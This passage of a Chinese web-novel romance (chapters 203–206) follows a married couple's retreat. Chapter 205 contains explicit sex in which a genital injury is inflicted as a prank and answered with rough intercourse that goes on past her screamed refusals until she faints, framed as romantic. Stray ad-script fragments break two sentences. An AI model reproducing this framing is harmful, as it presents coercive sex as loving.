栖真道:“所以你看,你也不是所有东西都不厌恶。” 风宿恒若非手上沾着湿,就要头疼地捏一捏眉心,现下他只好无奈道:“是,公主说得都对。” 他又道:“经过那一次,我开始变得注意,凡事不要过,不要求极致,人最好的状态是站中间,往右多了,就往左走走;往左过头,就往右去点。” 栖真道:“阿畅,你有慧根,想法和孔圣人不谋而合,用两字概括,这叫“中庸”,就是不偏不倚,不要过犹不及。很多人不明白这种大智慧,以为站在中间很简单,其实这是最难的。” “真真,你是有这种智慧的。”风宿恒道:“你在炼魂祭仪上打过一套太极拳,当时我就想,不站中间、不懂此道的人,是打不出这套拳的。” 栖真呵了一声,得意飞上眉梢:“所以,你是不是从那时开始喜欢我的?” “公主提过多少次孔圣人了?”风宿恒含笑不答,又开始洗碗:“他的书到底什么时候写出来?” 栖真瘪嘴:“《西游记》写完就写。” 风宿恒哦一声:“孔圣人有没有说过出生就站在中间的,还道是平庸,很难去体会中间的珍贵?只有走过两极,才知返璞归真才是真?” “等写出来,阿畅自己看。” 风宿恒笑着道好。 栖真静了片刻,忽然道:“这么想来,我的存在,好像对你从小到大的影响真得很大啊。” “因为有你,才有今日的我。”风宿恒大大方方承认。 “可你有没有想过,我为何出现在你梦中呢?”栖真提出一直以来的疑问。 “当然会想。”风宿恒道:“但没有答案。即便如今我俩在一起,这事仍是无解。” 见栖真沉吟,风宿恒道:“以前我还纠结一番,真地和你相遇我反倒不想了,为何入梦不重要,重要的是怎么让你心甘情愿入我怀。” 食指轻抚风宿恒的脸部轮廓,最后点在他硬实的下巴,将之微微抬起,栖真看着风宿恒道:“阿畅说只要做了你的娘子,就必爱你至深,我觉得这话不对。” “哪里不对?” 栖真认真道:“明明爱你爱到死去活来。” “公主考虑一下。”风宿恒就着她的指笑起来:“数不过三的草原夫君不要了,跟我走,让你死去活来。” 栖真收手嗤笑:“数不过三的不要,阿畅又多长?” “也数不过三,只是换你。” “我?” 风宿恒挑眉:“你撑不过三天。” 栖真呸他。 204. 第 204 章 风宿恒有始有终,洗完碗搁到碗橱,院子整干净,问公主还有什么吩咐。 趁他做事,栖真去寒潭边看风景,回头招招手让他来。 托起风宿恒的手,手背手心冰凉,泛着受冻的红:“冷吗?” 风宿恒:“这点冷算什么。” 栖真将他手掌拢住,举到唇边呵气:“最喜欢看阿畅施法的手,现在净拿来伺候我了。” “真不冷。” 把他掌贴到自己腰间,享受披风里的暖,她就着这个姿势靠上风宿恒胸膛:“我不管,有一种冷叫公主觉得你冷。” 两人在潭边静静相偎,潭水清澈,一红一蓝身影相贴,一片黄叶落入水中,在倒影上泛起涟漪。 栖真道:“阿畅,我想喝酒。” “公主忌酒忌辣。” 脑门在他胸口蹭:“就那种最清淡的米花酒,少喝两口,晚上烤鱼时喝。” “上次喝了半夜醉的不见人,站地洞旁吓人。” 栖真抱住风宿恒前后摇:“阿畅~~” 风宿恒:“撒娇没用。” 栖真垂眼:“这公主当得真窝囊,跟人撒娇也换不来一口酒。” 风宿恒对着她就没半个“不”字,但就是坏坏地不说话,想看她多撒一会儿娇。 见软得不行,栖真只好来硬的:“阿畅,本公主命令你,回家拿酒去。” 这感觉其实和他梦里的不一样,梦里他也叫她“公主”,可那个公主不会耍赖地给他下令。 那个公主,睡觉流口水、走路爱撞树、自己窝里东西都找不到,站到人前却变副模样,遗世出尘,笑容都是清冷的。 风宿恒道:“那公主要答应阿畅,下午睡一会儿,晚上起来吃鱼。” 栖真憋笑,谈条件谁不会?遂端起架子:“可以,但想阿畅做件事。” “给我画幅画,就画我穿这身衣服的样子。” 这对风宿恒来说何难,“穿红的好看,是该留一幅。” 回房,栖真脱了披风去椅上坐,风宿恒却搬走长榻上的炕桌,放了两个软垫:“靠这里看书,其他交给我。” 栖真去博古架上挑书,舒舒服服上榻。 风宿恒铺纸勾墨,栖真就静静瞅他。 “别看我,看书。”风宿恒画了几笔道。 “公主想看什么就看什么。” “行。”风宿恒嘴角微弯:“公主想看什么就看什么。” 房里静极,只有刷刷落笔声,冬日阳光从窗户投入,铺在身上暖洋洋。 “你真地画了一屋子我的画?”栖真悠悠开口。 “一屋哪放得下。”风宿恒目视画纸。 栖真轻笑:“画一次,就意淫我一遍?” 风宿恒抬眼看来:“也不是每次。” 栖真:“现在有没有?” “没有。”风宿恒在画上女子的胸部勾勒几根线条:“公主都想嫁阿畅为妻了,不用意淫。” “谁说的。”栖真鼓起腮帮:“公主还有草原夫君呢。” 行吧,草原夫君阴魂不散,这梗过不去了。 风宿恒继续手中画,栖真闲聊道:“唉,我那草原夫君吧,有一天跟我说,他想造城墙。” 风宿恒一顿,嗯了一声。 “你知道他为什么要修城墙吗?他说为了保护我,修个墙,围起来,谁都抢不走你。” “我就跟他说,修城墙多劳民伤财?有这点银子,投在武器的开发上,投在科技的创新上,有了先进的武器和科技,谁人敢犯就把他揍到回家哭爹喊娘。” 栖真手指一圈圈缠着自己的小辫,自言自语。 “再不济,打金融战,放国债,说服各国皇帝用私银来大容置业投资,造什么城墙啊,墙是死的,两千里石墙一起,银子劳力一投,把其他事都耽误了,丧失机会成本,得不偿失。” 风宿恒道:“你那草原夫君多少有些自知之明,知道自个儿领地小,人少。” “小,不代表弱。”栖真道:“小,可以扮猪吃老虎,可以船小好调头,可以飞速发展搞试点。” “未来,中土人只要想到大容,心间浮现的是万世师表的朝圣地,天下才俊无不向往;那里有数不清自己国家没见过的高科技;那片土地上的故事、戏剧、漫画俘获人心,让人打心眼里想去大容追星;天下商人熙熙攘攘,各行各业都逃不开和大容的贸易。这里有完善的手工业、制造业、出版业、旅游业、快递业和进出口贸易,各国政客们会将大容作为必要学习的案例。” “我那草原夫君啊,想想这些吧,这些不比造城墙香吗?封闭,不会让自己走向强大,沟通交流,施加影响,人无我有才能造就伟大。” 风宿恒投在栖真身上的视线有些复杂,又饱含热意,片刻才移回画上,微笑道:“公主吹枕边风呢?” “是啊,使劲吹。”栖真道:“摸摸头,乖!不搞有型的城墙,咱们到人心里种草去。” “也是个办法。”风宿恒终于笑出声:“摸摸头就过三了,公主真是种操高手。” 栖真居然听懂了,忍着笑,受不了似地看窗外,又回头嘟囔:“都过三了,还有阿畅什么事?” 风宿恒低头点睛,肩膀耸动,笑得难以自抑。 之后两人不再说话。书哪有风宿恒好看?栖真在靠垫上挪了挪,然后就专注地看他,眉眼、鼻梁、嘴唇、长指,只觉岁月安稳、现世安好,眼皮开始下磕,慢慢睡过去了。 醒来已是黄昏,窗棱上现着火光,栖真从床上爬起,揉着眼到外间,见桌上画像已成。 探头一看,睡意全消。 画中的她支头侧卧,榻后一扇写意式的窗户,窗外隐约红叶,其余地方全数留白。 不说画中女子和她如何相像,服饰细节如何饱满,栖真一眼看去,只觉这些还在其次。 她一眼注意到的是女子的眼神。 即便一张平面画,都能让观者感受画中人的视线必定在看心中万分眷恋之人,用现代话说,就是眼神拉丝! 缠绵、多情……这也拉得呸厉害了。 我看他时这么花痴吗?栖真哭笑不得。 她又品了品,佩服之情油然而生,所谓画外形容易、画神态难,风宿恒的笔于无声处听惊雷,是有故事的!一幅单人画,他硬生生画出两个人。眼神为媒,令观者肖想,这女子这般看着的又是怎样的人。 女子越美,眼神越缠绵,画外人的形象在观者心中就越立体。 又被风宿恒苏到了! 栖真笑叹,步出茅舍,院中篝火已起,木桌上放着酒壶,看来风宿恒趁她睡着时回去过了。 风宿恒正在缸边洗手,见她出来,道:“夜间冷,披个披风。” 寒夜里篝火星芒乱舞,院中烤鱼飘香,栖真取了披风坐到火边抿酒,心情舒畅:“就好这一口,阿畅在大容时最让我惊喜的就是锦驰镇上那一夜烤鱼。” “最惊喜?”风宿恒在火上翻转鱼身,只觉好笑:“早知一串烤鱼就能收买你,就该见你首日烤上一百串当聘礼,直接把人娶回家,省得当中诸多来去。” 栖真切一声:“造个神龙庙还得修千步台阶,没当中来去修不成正果,我在你心中就值一百串烤鱼?” “怎会?你是我的公主啊,哪位公主只值一百串烤鱼?” “我呀。”栖真指自己:“百鱼公主。” 风宿恒笑得收不住,递来一串烤好的,栖真食指大动,小心翼翼咬上一口,夸张道:“就是这味道!太满足了!我那时吃不惯大容的盐,每天跟你们用膳都生不如死,忽然吃到这样一串鱼,哇,救我于水火,还以为自己到了天堂。” 风宿恒:“所以第二日腹泻不止。” 栖真唉一声:“你怎知道?” 风宿恒瞥她一眼,笑意溢在眼中:“我什么不知道?” 栖真摆手,示意让她先吃为上,仔细啃完一条才道:“我要不是因为拉肚子在离岛晚下船,姻缘洞里就不会和你撞上。” “我们无论什么时候去都会撞上。”风宿恒也尝一口,栖真的喜欢溢于言表,他不免也觉得自己手艺无与伦比。 “因为缘分吗?”栖真喝口酒,问了句陈词滥调。 “我们手上系着姻缘线,天涯海角,注定一处。” 栖真举手,五指张开,在风宿恒面前晃了晃:“线好粗啊。” 风宿恒抓过她手亲了亲,从怀里掏出样东西,往她无名指上一套。 栖真收手一看,居然是枚戒指。 青玉底,戒身上有窜铭文,上面嵌着一颗火红的石,看着浑然天成。 风宿恒:“戴着,不要摘下来。” “婚戒啊?” 过去风宿恒问过她,现代夫妻拿什么做约定俗成的信物,她给他普及过婚戒的概念,所以他把这戒指往她手上一套,栖真立马想到婚戒。 谁知风宿恒道:“护戒。” “护戒?” “红色的是求生石,你我鲜血熔铸而成,将来你再遇危险,我立时便知。”风宿恒又从怀中取出另枚同款戒指,戴到自己无名指上。 栖真惊讶:“什么时候取的血?” “你受伤时。” 那时她流的血还少?他帮她疗伤前取了血,之后飞了多次岩崖谷,花了大代价,才求得岩崖真人为他铸此护戒——当中波折不提也罢。 栖真并指左看右看,又和风宿恒套到手上的那枚凑在一处端详:“真好看,就是…这红色石头会起雾?” 石头上有层薄薄的流动的雾氛。 “是戒灵。”风宿恒道:“求生石里封着守护的戒灵,被鲜血唤醒,受你我供养,关键时会向我预警。” 栖真如今对中土各种“超能力”早见怪不怪,安心收下:“如今山上镇了那么多兵,那样的意外不会再发生。” “意外之所以是意外,因为它不可预料。” 栖真知道经过那次,风宿恒也成惊弓之鸟,纵使她自个儿觉得不会再出事,也得顾着爱侣心情,便道:“好,我戴着。”又玩笑道:“我这公主真脆皮,还要阿畅带那么多人日夜保护,真没王者风范。” “谁说的。”风宿恒却道:“公主很有王者风范。” 栖真呵:“何时?” “花钱时。” 栖真………… 看了看天,暮色落下,夜色已至,头顶全是明亮的小星子。 “没醉呢!”栖真又一口酒下去:“阿畅说我败家,别以为我听不出来?” 什么就喝一点点?酒壶到她手上,说的话全不作数了。 “真没醉?”风宿恒道:“真没醉我就跟你说说这话的意思。” 栖真把酒放下:“怎么可能醉?你说!” 风宿恒不着痕迹地拿过酒壶,放到自己脚边——栖真够不到的地方:“造可能宫,公主批了三千万两。” “对。”栖真额首。 风宿恒:“眼睛都不眨,就花出去了。” “……阿畅在怪我乱花钱?” “恰恰相反。”风宿恒道:“公主有魄力一下子花出去三千万两白银,很厉害。” 栖真挠了挠脑门:“听着不像好话。” 风宿恒认真道:“赚钱固然考验一个人的能力,花钱却能看出一个人的胸襟。公主做事,目标明确,胸有成竹,三千万两在你眼里不过是达成目标的基石,花得有魄力,才是成大事者的风范。” 栖真不好意思,傻笑两声:“其实我很扣门,删了好多用料,否则三千万两打不下来呢。” 小傻瓜,她删的地方他早让聂灵鸢补回去,他怎可能让她委屈自己?面上却顺应道:“公主真会精打细算,看来家中财物必须让你管。” 栖真脑袋摇成拨浪鼓:“让我做奥数还行,管账我不擅长,到时连阿畅工钱都发不出,谁给我烤鱼呢。” 风宿 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 恒好气又好笑,就这点酒量,唉…… “阿畅好养,每月二两,召之即来,挥之不去,一辈子给公主烤鱼。”风宿恒剔出干净的鱼骨,故技重施,用瓦楞烤出冒油骨香,递给她道。 栖真接过,两眼放光:“二两阿畅对上百鱼公主,绝配!” 吃完鱼骨实在满足,栖真抱膝而坐,下巴搁在臂上,痴痴看着火光中的风宿恒:“天大地大,阿畅是独一个,一百串烤鱼都不换。” 风宿恒把她剩下的米花酒喝了,进他肚里总比进她肚里好,喝罢撩她一眼:“谁还不是独一个,公主也是啊。” 栖真却歪着头笑:“我说真的!你以前在驼暮山上评过我,今日本公主也来评评你。” 风宿恒笑:“认真的?” 栖真点头,显得有点傻愣:“认真的。” 风宿恒来了兴趣:“你评。” 这对话就是驼暮山上的翻版,栖真转了转眼珠:“曾经有人评过你吗?” “太多了。” “怎么说的你?” “说我不是人。” 一点不怀疑风宿恒在说实话,因为她就曾经亲耳听戦星流这么说过。 “不是人”的内涵很丰富——仰慕者说他不是凡人,敌对者说他不是好人,都简称,不是人! “这话我竟无法反驳。”栖真哈哈笑个不停。 风宿恒反问:“我在公主眼里,怎就不是人了?” 栖真这才收笑道:“你说我从里到外有三层,我觉得你从下到上也有三层。” “最下一层是?” “嗯……第一层的你由出身决定。阿畅出身大国皇室,又是大皇子,这让你的起点很高,这样的身份,为你带来了很高的自尊水平。断黎民疾苦,是因为明白自己身上责任;无论修一道国政,还是洗一个碗都要做到最好,是因为你不允许自己不好,你待人随意,对己严苛,因为你对自己的要求真地很高很高。” “可天下皇族也有不少,却不可能再出一个风宿恒,因为往上一层的你,由你的经历决定。你幼年出宫,乍然断了过往一切,从此只能靠自己。不争、不抢、不动脑的结果只会败北,你早就向命运低头了。但你没有,你是淤泥里的白莲,挣开束缚,野蛮生长,直到长成参天大树。这个成长的过程……嗯……归根结底,是你学着不断掌控自己、掌控外部的结果。久而久之,‘掌控’两字深植你心。所以你这人吧,万事想得早,喜欢谋定而后动,你不能忍受事情脱离自己掌控。若那样的事情发生了,你会非常非常难过,甚至觉得自己无能。” 说到这里,栖真话锋一转:“……照理说,一个控制欲很强的人往往拒绝变通,因为控制欲代表排斥意外和变化,这样才能掌控对不对?可你又不是!虽然你内心控制欲极强,但不会表现得很强,不会强到让人反感。你说,是为什么呢?” 焦胡随着拨弄篝火的柴枝漫上来,烫到风宿恒的指,他把柴扔进火堆:“为何呢?” “因为从小到大你心中有追求啊。”栖真呵呵:“这就是你的最高一层,追求梦中人!你求的不是追求的过程,而是欢好的结果。为了这个结果,反而督促你不断学习,以一种开放和包容的心态去看待事物,去和人相处,去去除偏执。一个人但凡书看得多、人见得多、经历得多,认知能力和理解水平就会提到一个很高的层次,可以中和性格中的偏执和控制欲,有点像……嗯……道高一尺魔高一丈、一山还有一山高。” 脸上明明升起嫣红醉意,出口的话却很清晰,栖真继续道:“一段门当户对的婚姻尚且有两方沟通上的考验;不匹的就更难了,南与北,贫与富,老与少,都会造成沟通上的代沟,而我俩能和和美美白头到老,从理论上说那是难上加难啊,因为我们间……”她指指风宿恒,又指指自己:“隔的是好几个时代的差距。” “爱上很容易,处一辈子很难,我没法想象阿畅不是有第三层的开放和包容来支撑,我俩会成什么样,大概率激情过后彻底平淡吧,因为我们会发现越来越说不到一起去,兴许我天天在你面前迸你听不懂的词你会觉得厌烦,兴许我根本不明白你为何这么思考、为何那样决策,而感觉越来越不认识你。可事实上这些都没发生,我们成亲以来感情越来越好,我以为我嫁给你的那刻已经站在爱的巅峰,没想到成亲后才发现那不过是爱的起点。宿恒,我真地一日比一日爱你,我们在一起,没有因为时代的差异变得疏离,反而因此成就这段无与伦比的经历。” “高自尊、掌控欲、开放心,三点在风畅身上完美融合,造就独一无二的你。想想,中土还有谁能复制你的经历,成为下一个风畅?根本不可能好吗!而这样一个宝藏般的你,现在为我所有,此生伴我左右,你说,我是不是古往今来最最最最幸运的人?” 结束长篇大论,栖真歪头冲风宿恒傻笑。 风宿恒静了很长时间:“我的掌控欲很令人生厌?” “怎么说呢?”栖真想了想:“这事,也分高手和低手。” “什么区别?” “区别就是被掌控的人会不会察觉自己被掌控,然后心生反感啊。”栖真指了指他手里的酒壶:“低手就是强硬地不让喝酒,高手会先激我自个儿把酒放下,你悄无声息把酒喝光,让我只记得鲜美的烤鱼,酒不酒的都不在乎了。” 风宿恒笑到肩膀发颤:“所以上次我们吵架,全因我说了句蠢话——这辈子都不让你见大容这帮人了,是不是?” “孺子可教!”栖真拍手:“甭管谁占理,只要说出“这辈子我都不让你怎样”的话,不就是在拉仇恨吗?谁都受不了啊,不吵才有鬼了!” “行!”风宿恒道:“以后全部换成高手的那种。” 栖真冷哼:“果然不是人。” 风宿恒却极高兴:“不是一日比一日爱吗?” 栖真作势要打,反被拉进怀里,男人炽热的气息贴着耳廊:“是不是人……公主今晚试试?” 205. 第 205 章 翻身做主的风宿恒不会帮忙倒洗澡水,躬身为奴的阿畅却会。 栖真站在屋门口,轻咳一声:“阿畅,你先出去。” 把净室用炭盆熏热,又从柜中取出干净的中衣放在架上,风宿恒知她醉,不放心:“帮你洗?” “胆肥了你。”栖真后背靠在门框上,候他靠近,挑起风宿恒下巴:“本公主洗澡你也敢看?”火光下媚眼如丝,有缠人的情意,和强硬的语气全不相符。 今日还未过去,阿畅还需继续,风宿恒别过头,有不受主上调戏的疏离,恭敬道:“那公主慢慢洗。” 说着出去收拾。 灭了篝火,将柴薪扫入草丛,他们要在这里住一个月,怎么可能没人伺候,每日天亮前自会有人带来鲜蔬、处理赃物。 做完一切,风宿恒听了听室内,水声还在继续,他不急着进去,在黑漆漆的院中站了会儿。 篝火一灭,天上耿耿星河反而亮堂,他举目夜空,嘴角微漾。 人在天地间纵然渺小,可携手知心人就会拥有无比强大的力量,纵游走四方,心安处,何愁非吾乡? 室内水声停了,风宿恒稍等片刻回屋去。 栖真已经回了内间,道:“阿畅,去洗。” 风宿恒乖乖洗完出来,见他的公主正坐在镜前拆小辫,许是醉意使然,下手没轻重,头发缠着手,把自己扯疼了。 风宿恒上前接手:“我来。” 拆辫子也是个精细活,一根根慢慢拆,一缕缕细细顺,最后梳通,视线才在镜中相遇。 风宿恒心头一震,栖真这眼神,和他梦中的极像,可她眨下眼,那感觉又不复存在。 她在镜中不知看他多久了。 “抱我上床。”公主温声道。 风宿恒将人一把抄起,轻轻放到床上,正想随身覆上,谁知身下人弓膝,光裸的脚丫踩在他胸口,慢慢将他推离。 栖真眯眸,支起身定定看着风宿恒,酒精作用下她终于不再是纯情的公主,进化为高傲的女王。风宿恒在她眼神下,在她一脚压迫下,在床边单膝跪地。 栖真心安理得,仿佛他跪她也没什么受不起,脚逐渐往上抵在风宿恒肩头,叫了一声:“阿畅。” 没别的,只是叫一声,风宿恒受到蛊惑,侧头亲吻,继而含入舔了一下。 栖真一开始还能镇定看他,后来着实有些难耐,收脚起身,奖励般在他额头印上一吻,拉开中衣带子,慢慢将袍子褪下。 风宿恒双眼发直。 知道这不是口罩,知道栖真当初可了劲儿忽悠他,但他不知道当女人穿上这层薄薄的黑色蕾丝,可以魅惑到什么地步。 “喜欢吗?” 风宿恒难得嘴瓢:“好、好看。” 栖真抓过他领口,让人上床,自己翻身骑在他身上,命令道:“今夜,阿畅不许动。” 她在他耳旁吹气,硬生生把他吹石:“不绑你,但动根指头算你输,以后再不让你见我这么穿。” 风宿恒喉结滚了滚,眼睛粘在面前聚拢的双,柔白被黑色紧紧托着,引他发疯。 忽然体会到栖真第一日求饶的心情,他也不想玩游戏了行不行? 可小恶魔说,动根指头算你输。 风宿恒眼眶被热意熏蒸,眼尾泛红,不敢动。 栖真的酷刑比他更酷,不绑他,还不许他动。 风宿恒心里骂一声,他娘的这得多少自制力才能挺住不动? “穿这身,你那驸马还数不过三?”他口干舌燥,乖乖躺着,讨点口头便宜。 “谁叫他不解风情。”栖真往上爬,去碰风宿恒的唇,蜻蜓点水一触即分,让人张口都来不及。 风宿恒像被逗猫棒逗弄的大猫,偏偏状似全瘫,浮躁又气急:“不要他,要阿畅!” “阿畅哪里好?”指尖抚过他侧颜,到下颚,喉结,胸膛,栖真慢条斯理脱他衣服,直到蕴含力量的躯体在身下呈现,山岳般的体格乖顺无比,看着就让她无比满足。 然而,她还可以让这具躯体更诱惑一点。 从床头取出藏好的酒壶,栖真倾手将酒液倒在风宿恒胸口。 这人居然把他下午藏的酒给挖出来,真是……风宿恒气笑,毫无办法,他太干涸,除干瞪眼什么都做不了——自己定的游戏规则,玩得那么认真,现在还能砸自己金字招牌? “……”身上全是冰凉的液体,风宿恒难耐地叫了一声。 “公主疼疼你。”米花酒的香气在房中蔓延,酒精的熏醉弥漫鼻尖。风宿恒后悔死了,他就是喝醉都好过当个木头人受她引诱。 酒流到床上,栖真越越往下。 风宿恒瞪着床顶,手握成拳,心想现在总要亲下去了吧,再不亲真炸了。 谁知栖真在他想要的地方停下,对上风宿恒灼热的视线,抬了抬眉:“阿畅给小木屋起名‘长风破浪’,这茅舍的名,我来起。” 风宿恒太了解自己女人,一看她要使坏的眼神就有不祥的预感,“什么名?” “真、爱、祭、酒。”栖真一字一顿道。 风宿恒品了品:“何意?” 然后他就被雷劈了。 简直天雷滚滚! 风宿恒发誓,他这辈子没这样失语过。 因为他眼睁睁看着栖真掰过他,一下插入黑色酒壶中。 凉意瞬间浸身,一股灼烧从脆弱的头部窜上,一路烧到根。 风宿恒彻底炸了! 惨叫一声,夺过酒壶:“你想废了我啊?” 不过眨眼功夫下面像千只蚁虫在爬,难受至极。 好死不死,栖真还在旁边埋怨:“谁叫你之前那么过分。” 人至贱则无敌,既然阿畅邀她练手,她便不客气。 可到底被风宿恒激动到暴起的模样吓到,心知不好,酒醒一半,急着下床找水清洗,一步没迈出去,就被一股蛮力甩回去,激得栖真一声惨叫。 “打什么水?”风宿恒气到发抖:“这儿没有吗?” 有! 不仅有,还如泉涌! 栖真尖叫:“出去!” 毕恭毕敬的阿畅消失了,奴仆不甘引颈受戮,揭竿而起,翻身做主人。 点火者死! 风宿恒疯了,脱缰野马都无法缓解这种难受。 惹祸上身,自食恶果,没一点缓冲,栖真眩晕,可哪里逃得掉,每次都被拖回去。 从嘶喊求饶到发不出声,最后哭不出来……栖真战栗,终于明白一个道理,风宿恒以前是真迁就她,真温柔以待,否则她早被生生弄死了。 栖真两眼发黑,失去意识前脑中闪过一个念头。 男人,真是太可怕了! ………… 三日后又是一个好天气,白云飘飘,晴空万里,两人坐回窗边。 位子还是原本的位子,心境却不是前番的心境。 三个纸条已经取出,放在茶几上,风宿恒撩起袍子翘着大长腿,在椅上坐得慵懒——不这么坐,他也疼。 风宿恒拨弄着纸条,揭秘道:“第一天玩的是你写的“掌控”,第二日是你的“亲上加亲”。” 栖真背后垫着靠垫,身下更是垫了两个厚厚的软垫,翻开风宿恒的字条。 “守护。”栖真啧啧摇头:“前两张玩的扣题,可惜第三天晚节不保,离题千里。” 风宿恒懒洋洋转动青玉扳指:“谁的错?” “公主会有错?”栖真冷哼:“雷霆雨露皆是君恩,守护?明明是造反!还一反三天!” 风宿恒难得语塞,谁叫他三日里失控到疯,如今栖真还愿及还能跟他好好坐这儿,实属不易。 风宿恒品了口茶,问:“真真还无聊吗?还无聊,我们可以把游戏一直玩下去。” 经过三轮,栖真觉得没什么话不能交流。之前不知缘起,这几日也算明白过来,求证道:“那日我说‘激情过后一个心里想什么,另一个都猜不到’之类的话,你是不是觉得我在含沙射影?” 风宿恒道:“看你总不那么满意。” 栖真有些不好意思:“我就是……就是到祭酒来的第一天,你都没亲我一下,不太开心嘛。” 风宿恒……… “第一天没亲吗?”风宿恒回忆:“可你不也没亲吗?” 栖真拍桌:“你是夫君,等你主动啊,打扫什么房间、杀什么鸡啊?” 风宿恒和雷恒难得步调一致,在心中长叹:女人啊,果然是天书! 风宿恒捏了捏栖真脸颊,虚心道:“懂了。” 栖真问:“你懂什么了?” 风宿恒道:“进屋要亲,离开要亲,打扫前要亲,杀鸡前要亲,总之做什么都得先亲亲。” 栖真摇头:“你还是没懂。” 风宿恒沉吟,谨慎道:“真真心情好要亲,心情不好要亲 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,没心情时更要亲。” 栖真又摇头:“不是。” 风宿恒头大,直接道:“教我吧。” 栖真脖子一梗:“教了还有什么感觉?” 风宿恒点头,点头,再点头,半晌一脸神秘道:“懂了。” “又懂什么了?”栖真打破砂锅问到底。 风宿恒直接捞过她后颈,亲上她的唇,亲得那叫一个热情奔放、缠绵悱恻,心声在一吻中传递得淋漓尽致。 亲完栖真美滋滋坐回去:“果然懂了。” 雷恒悄声问,你懂什么了? 风宿恒悄悄回,重要的不是我懂了,重要的是栖真觉得我懂了。 雷恒给他竖大拇指。 这一刻,栖真瞧上去尽显理智,女人在被理解的状态下,理智总是在线的:“所以你别多心,我对我们的生活很满意,也很感激你提议玩这个游戏。”又握住风宿恒的手道:“你确实让我体会到一些之前没体会过的感觉。” “哦?”风宿恒道:“说说看。” 栖真觉得没什么不能交流,开诚布公道:“第一天你对我强硬,我很生气,脑里全是负面想法,觉得你在折辱我,置我尊严于不顾,觉得你变态,不知你哪来的恶趣味……反正想了很多,想得我都气炸了!可是等那个场景过去,我再回头看觉得自己是不是想得有点过,就是……”她臆想一下,怎么清晰表达才好:“其实事情不是这样的,或者没到那个份上,是我想太多,钻了牛角尖,换个角度想根本没什么大不了,你事先说过只是一个游戏,你更不可能伤害我,何必往尊严上扯呢?享受就好了。” 风宿恒不予置评,只是笑听。 栖真喝口茶继续道:“由此去,我便想到平时。夫妻相处无大事,都想为彼此好,有些不舒服往往是因为自己莫名其妙想严重,多放平常心,多存趣味心,生活才更有滋味,况且……” 她看向风宿恒,微笑道:“如果‘自我’是一个蚌壳,你该在壳里和我一起才对。” 风宿恒笑容加深,眼角眉梢都是发自内心的喜悦,拉过栖真又亲一下。 栖真意犹未尽,凑上去。茶几碍事,风宿恒索性拉人坐腿上,抱着亲了半晌,栖真窝在风宿恒脖弯里说悄悄话:“好喜欢被你压着这样那样,会让我觉得……”她咬了咬唇:“你是男人,我是女人。” 风宿恒懂她话意:“君君臣臣,父父子子,女人觉得自己是女人,便能做好女人的事,男人觉得自己是男人,便能行好男人的责。各安其命,各行其是,实谓正道。” 栖真点头,这些她以前从未想过,也不懂,是风宿恒点了她。 “真真,这两天我一直在想你说的柳絮回和阿闯的事。你说的理我认同,我俩确实比他们难,但是你留在这里,嫁给了我,路就是我们一起走出来。夫妻间不怕冲突,只怕冷漠。感受、想法、念头,幼稚的、自私的、不堪入目的,好的坏的,什么不可交心?我不希望几十年后你明明在我身边,却没了说话兴致,只求独自待着。” 噗嗤一声,栖真笑出来:“你还说我想得多,你明明也想得远,你怕我不想跟你说话,我还怕你被我作到头痛。” “尽管来。”风宿恒道。 双臂揽上他脖子,栖真噘嘴道:“就是有点可惜。” “可惜什么?” “主人、爹爹、阿畅我都爱,可游戏结束他们就不在了。” 风宿恒低头笑问:“真真最喜欢哪个?” 栖真道:“爹爹是暖被,冬日离不开;阿畅是清泉,口渴时最爱。” “主人呢?” 栖真默了一瞬:“主人是难受时的烈酒,平淡时的猛药。” 风宿恒道:“听着倒像你打心底更爱烈酒和猛药。” 栖真看他,眼神无辜:“有吗?” 风宿恒在她耳边用气音道:“问真哪得清如许,为有源头活水来,不觉得第一日水特别猛吗?” 栖真羞恼,凶巴巴地指门廊:“真爱祭酒的牌匾,今日就给我挂上去!” 风宿恒下腹一紧,立马恢复温良模样,承诺道:“主人、爹爹和阿畅都不会消失,叫谁谁就出现。” “最爱的还是你呀。”栖真捧过他脸,在双颊吧嗒一口:“宿恒才是那个不多不少正正好好我想处一辈子的良人。” 相爱崇尚波澜壮阔,相守却需静水流深,最幸运的爱情绝不止步爱情,还可交托彼此灵魂。 206. 第 206 章 三年后。 栖凡心和紫鹿御剑来到开悟镇时,很有些惊奇。 “陛下只说万仞山学子如织,没想到山下还有那么繁华的镇子。”紫鹿站在道口目瞪口呆:“这还是过去的大荒流吗?” 栖凡心笑道:“正常的!一个学生背后就是一个家庭,学生上山上课,晚上还得下山住宿,跟你打赌,我娘不会放过这笔生意。” 开悟镇的辕门背后刻有木制地图,不时有入镇的行客驻足观看,两人也凑过去。 开悟镇横四条主干,竖五条大道,中间竖直大道最宽敞,通向万仞山道口,以这条悔悟街为界,镇子被一分为二,左边客栈商铺林立,右边各色民宿比邻。镇子最中心则有一块醒目的红方标记,下面写了“子石”二字。 “吃点东西再上山。”栖凡心带紫鹿往商铺街去,一看路标,这条街居然叫宽容道,道上行人摩肩接踵,人人肩背包袱,或身后跟着挑担的仆人,热闹劲不亚于辛丰主城。 这条路上居然还有家叫“我爱闯闯”的茶饮店,两进的门面,门楣和梁柱全是现代化的彩色涂鸦,生意好到排长队。 “居然有珍珠奶茶卖?”栖凡心赶紧让紫鹿排队买两杯,开心地啜上一口:“我妈以前还不让我喝这玩意,结果她把生意做到中土来了,你不知道,奶茶店唉,别看店面小,很赚的!” 紫鹿尝一口,两眼冒星星:“太好喝了。” 两人一面喝一面往街上挤,栖凡心抬头见一家饭馆招牌,大笑:“这个有意思,吃这家。” “桃园三结义?”紫鹿:“吃什么的?” 早过午膳时间,饭馆大堂却座无虚席,身穿将服的小二很酷,直接将他们引入三楼靠窗雅间。 栖凡心看菜单,大笔一挥:“来个刘备锅,一个张飞锅,一份三顾茅庐,一份草船借箭,一份舌战群儒,两份青梅煮酒。” 将军接单,东西很快端上桌。 就是现代小火锅,栖凡心兴奋道:“好久没吃辣,我要张飞锅,刘备锅里豆腐多,你尝尝。” 再看三份大菜,三顾茅庐是一个大圆盘中放着萝卜雕刻的小屋,院中晾着一排白切挂肉,一排羊肉,一排牛肉,分量很足。 紫鹿却对草船借箭左看右看——一艘竹编草船,船板上种满金针菇和蘑菇,还备小剪子,现剪现吃。 至于舌战群儒,栖凡心直接笑倒,盘中一堆鸭舌,周围一圈摆了八个雕成人型的年糕。 